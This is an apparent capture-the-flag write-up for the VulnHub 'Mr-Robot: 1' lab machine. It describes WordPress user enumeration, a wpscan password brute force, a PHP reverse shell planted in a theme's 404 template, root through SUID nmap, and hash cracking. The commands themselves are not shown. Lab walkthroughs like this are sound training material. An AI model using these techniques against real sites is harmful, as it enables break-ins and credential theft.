Mr-Robot: 1

VulnHub URL: https://www.vulnhub.com/entry/mr-robot-1,151/

Hostname: linux

IP Address: 10.183.0.204

Information Gathering/Recon

The IP address is obtained via DHCP at boot. In my case, the IP is 10.183.0.204.

Service Enumeration/Scanning

Gaining Access

Very little information was returned from nmap about the two web services available. Let's see if nikto has any more luck. We'll start with the HTTP service on TCP port 80.

Looks like we found lots of interesting things. So much so that we wonder if these are red herrings (or false positives due to invalid errors being returned).

Checking the robots.txt file, we have the following entries.

Looks like we have found at least one of our three keys.

We also have a large (7 MB) dictionary file, 'fsocity.dic'. We'll download that for later use.

One thing that jumps out in the nikto output is the header 'link' http://10.183.0.204/?p=23. We might can increment that number to find interesting pages. Let's see what loads when we visit the link 'as is'.

Let the games begin, apparently. Looking through the fancy JavaScript for the page, we notice there is a '420' option not listed in the menu of commands. Looking through to see what each command does:

Checking out the 'hidden' image at http://10.183.0.204/images/420/420.jpg, it has the following quote.

Interestingly, the 'delay' in the JavaScript for this option is set to 400 (or 6.66666667 if you divide by 60... note the '666').

Running nikto against the HTTPS service on TCP port 443 produced essentially the same results. At this point we can run drib to see if there are some hidden directories or we can run wpscan to see what's going on with the wordpress site. I'll go with dirb first.

The only directory of interest returned was /image/. This returns what appears to be one of the only valid pages on the WordPress site.

Checking the links around the image, it appears this one would be item number 23 (like the p=23 parameter in our "link" header). Who knows if this means anything.

The next thing I tried to do was brute force WordPress user IDs. I chose to do up to 15052 IDs (based on the number in the picture), but this turned out to be fruitless. The blog doesn't really have any entries, so it is hard to brute force logins by id.

Next I wanted to try some names from the T.V. show Mr. Robot (based on the "theme" of this VM). I started looking up character names in IMDB. Annoyingly, and yet thankfully, the first one I tried "elliot" (the main character in the show) produced an error message that indicates that is a valid account.

Now that we have a valid account name and a large dictionary to use (fsocity.dic), I'll try to brute force the user's password with wpscan. However, before using the dictionary, I want to clean it up a bit. First, I'll see if there are duplicate words in it.

Looks like there is a LOT of duplication. Each word shows up about 75 times. Looking at the end of the file, I find something more interesting.

We have a handful of words that are only showing up once. I'm going to create a small subset of the dictionary with these single use words to see if they might be the password. If not, I'll filter down the dictionary to unique words and try again. To create my small list, I'll do the following.

Now I'll run wpscan with the small dictionary. I'm going to try to take advantage of the xmlrpc service to speed up the brute force attempts.

Once that ran, we checked our output file and found the following.

Logging in with 'elliot', we see that the user is an Administrator. There are lots of ways to get a reverse shell (malicious plugin, malicious theme, plugin exploit). The easiest way (if we have write access to the themes directories) is to create our PHP reverse shell code using msfvenom and drop it into a Theme page. We'll try that first.

We'll use msfvenom to create our PHP reverse shell code.

Next, we'll click Appearance -> Editor in WordPress and select the 404 Template on the right. We'll paste our shell code into the bottom of this page and click the Update File button.

Now we can start our listeners in Metasploit. I like to start two listeners because the PHP reverse shell doesn't stay active for very long. As soon as I connect I like to start another reverse shell (typically using perl).

With our shell code loaded into the 404 error page and our listeners started, we just have to request a page on the "blog" that doesn't exist.

Great! Our PHP reverse shell connected and then we were able to start a second session using the perl command.

Maintaining Access

[I didn't mess with this part this time.]

Privilege Escalation

Checking for SUID binaries, we find nmap in /usr/local/bin.

Using nmap in "interactive" mode, we can execute commands as root by simply preceding the command with an exclamation point.

Pivoting

N/A

Clean Up

*** REMOVE PHP reverse shell code from the template 404 page ***

Additional Info

We found the second key in /home/robot.

The /home/robot directory contained a file named 'password.raw-md5'.

Submitting the hash to https://hashkiller.co.uk/Cracker/MD5, we got the following.

I verified the password for user 'robot' was 'abcdefghijklmnopqrstuvwxyz'.

Checking the wp-config.php file in /opt/bitnami/apps/wordpress/htdocs, we find both database and FTP credentials.

Logging into the database...

I added the username and hash for mich05654 to a file and used john and the fsocity.dic to crack the password.